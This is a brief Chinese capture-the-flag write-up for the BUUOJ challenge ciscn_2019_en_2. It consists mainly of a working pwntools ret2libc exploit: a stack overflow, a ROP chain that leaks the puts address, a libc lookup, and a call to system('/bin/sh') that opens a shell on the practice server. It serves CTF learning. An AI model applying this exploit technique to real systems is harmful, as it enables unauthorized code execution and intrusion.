跟之前的 ciscn_2019_c_1 相似

    1. from pwn import *
    2. from LibcSearcher import *
    3. content = 0
    4. context(os='linux', arch='amd64', log_level='debug')
    5. ret = 0x4006b9
    6. elf = ELF('ciscn_2019_en_2')
    7. puts_plt = elf.plt["puts"]
    8. puts_got = elf.got['puts']
    9. main_addr = elf.symbols["main"]
    10. pop_rdi_ret = 0x400c83
    11. def main():
    12. if content == 1:
    13. peiqi = process('ciscn_2019_en_2')
    14. else:
    15. peiqi = remote('node3.buuoj.cn',28445)
    16. payload = b'a' * (0x50 + 8)
    17. payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
    18. payload = payload + p64(main_addr)
    19. #print(payload)
    20. peiqi.sendlineafter("Input your choice!\n", '1')
    21. peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    22. peiqi.recvuntil('Ciphertext\n')
    23. peiqi.recvline()
    24. puts_addr = peiqi.recv(7)[:-1]
    25. puts_addr = u64(puts_addr.ljust(8,b'\x00'))
    26. print(puts_addr)
    27. libc = LibcSearcher('puts', puts_addr)
    28. libc_base = puts_addr - libc.dump('puts')
    29. system_addr = libc_base + libc.dump('system')
    30. binsh_addr = libc_base + libc.dump('str_bin_sh')
    31. payload = b'a' * (0x50 + 8)
    32. payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
    33. peiqi.sendlineafter("Input your choice!\n", '1')
    34. peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    35. peiqi.interactive()
    36. main()

    image.png
    同样是要注意 ubuntu8 的对齐栈问题